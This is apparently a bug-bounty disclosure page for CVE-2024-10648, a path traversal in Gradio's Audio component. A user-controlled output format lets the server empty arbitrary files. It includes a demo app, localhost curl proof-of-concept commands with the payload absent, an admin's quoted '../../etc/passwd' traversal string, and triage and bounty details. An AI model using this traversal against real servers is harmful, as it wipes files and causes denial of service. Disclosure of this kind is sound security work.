

arbitrary file content deletion with component audio in gradio-app/gradio

✓ Valid

Reported on Sep 29th 2024

Description

Gradio Audio component, have path traversal vulnerability. If the format of the audio is controlled by attacker, it will lead to arbitrary file content deletion, which means reset any file to an empty file.

Proof of Concept

Considering a gradio app, for generating some audio. The format of output audio is controlled by user, using a radio component to choose between wav and mp3.

```
import numpy as np
import gradio as gr

notes = ["C", "C#", "D", "D#", "E", "F", "F#", "G", "G#", "A", "A#", "B"]

def generate_tone(note, octave, duration, output_format):
    sr = 48000
    a4_freq, tones_from_a4 = 440, 12 * (octave - 4) + (note - 9)
    frequency = a4_freq * 2 ** (tones_from_a4 / 12)
    duration = int(duration)
    audio = np.linspace(0, duration, duration * sr)
    audio = (20000 * np.sin(audio * (2 * np.pi * frequency))).astype(np.int16)
    return gr.Audio(value=(sr, audio), format=output_format)

demo = gr.Interface(
    generate_tone,
    [
        gr.DropDown(notes, type="index", value="C"),
        gr.Slider(4, 6, step=1),
        gr.Textbox(value="1", label="Duration in seconds"),
        gr.Radio(label="output format", choices=["mp3", "wav"], value="mp3")
    ],
    "audio",
)

if __name__ == "__main__":
    demo.launch()
```

Let's use /tmp/123 file as a example. before exploiting, put some content in /tmp/123 file. The poc is:

```
curl -X POST http://127.0.0.1:7860/run/predict -H "Content-Type: application/json" -d
```

After the POC, you can see the file content of /tmp/123 is cleared.

Impact

This vulnerability is capable of deleting arbitrary file's content on the server. It will cause not only the gradio app, but also server to DOS.

Occurrences

 processing_utils.py L234

gradle use string concat to build the tempfile path, then open it will "wb+", which will clear all the content of the file

⚙️ We are processing your report and will contact the **gradio-app/gradio** team within 24 hours. a year ago

⚙️ This report has now been passed to internal triage and should be resolved within 14 days. a year ago



Ethan Silvas commented a year ago

Admin

Getting the error `{"error":{"Value: ../../../../../../../../../../../../../../../../../../etc/passwd is not in the list of choices: ['mp3', 'wav']","duration":10,"visible":true,"title":"Error"}}`. Please ensure your payload is correct and provide any additional info and I will do my best to reproduce.



oicu0619 commented a year ago

Researcher

I do this poc on a clean cloud environment, with gradio 4.44.1, and it succeed.

```
root@vultr:~# echo 123 > /tmp/123
root@vultr:~# cat /tmp/123
123
root@vultr:~# curl -X POST http://127.0.0.1:7860/run/predict -H "Content-Type: application/json"
{"error":null}
root@vultr:~# cat /tmp/123
root@vultr:~#
```

i do not get the error from your side. Wierd. My gradio server is put on /tmp/poc . How did you set up your environment? Thanks!

  **Ethan Silvas** modified the Severity from High (7.5) to High (8.2) a year ago

★ The researcher has received a minor penalty to their credibility for miscalculating the severity: -1

  **Ethan Silvas** validated this vulnerability a year ago

Able to reproduce. This is likely "fixed" in latest versions because they did a revamp for 5.0.

\$ **oicu0619** has been awarded the disclosure bounty 

\$ The fix bounty is now up for grabs

★ The researcher's credibility has increased: +7

 **CVE-2024-10648** assigned to this report. a year ago

 **Ethan Silvas** commented a year ago

[Admin](#)

Also, forgot to mention but this does require a radio for file output type but this seems like a valid/reasonable use case to consider it as a vulnerability.

✉ We have notified the **gradio-app/gradio** maintainers about this report in their weekly follow-up a year ago

⚠ We have sent a warning to the **gradio-app/gradio** team to inform them that this report will be published in 48 hours a year ago

 This vulnerability has now been published a year ago

 **CVE-2024-10648** has now been published 10 months ago

[Sign in](#) to join this conversation

CVE

CVE-2024-10648

Published

Vulnerability Type

CWE-29: Path Traversal: '\\.\\filename'

Severity

High (8.2)

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None

Scope	Unchanged
Confidentiality	None
Integrity	Low
Availability	High

[Open in visual CVSS calculator](#) 

Registry

Pypi

Affected Version

git 98cbcae

Visibility

Public

Status

Awaiting fix

Disclosure Bounty

\$750

Fix Bounty

\$187.5

Found by



oicu0619

@oicu0619

LIGHTWEIGHT



Supported by [Palo Alto Networks](#) and Prisma AIRS, leading the way to greater AI security.

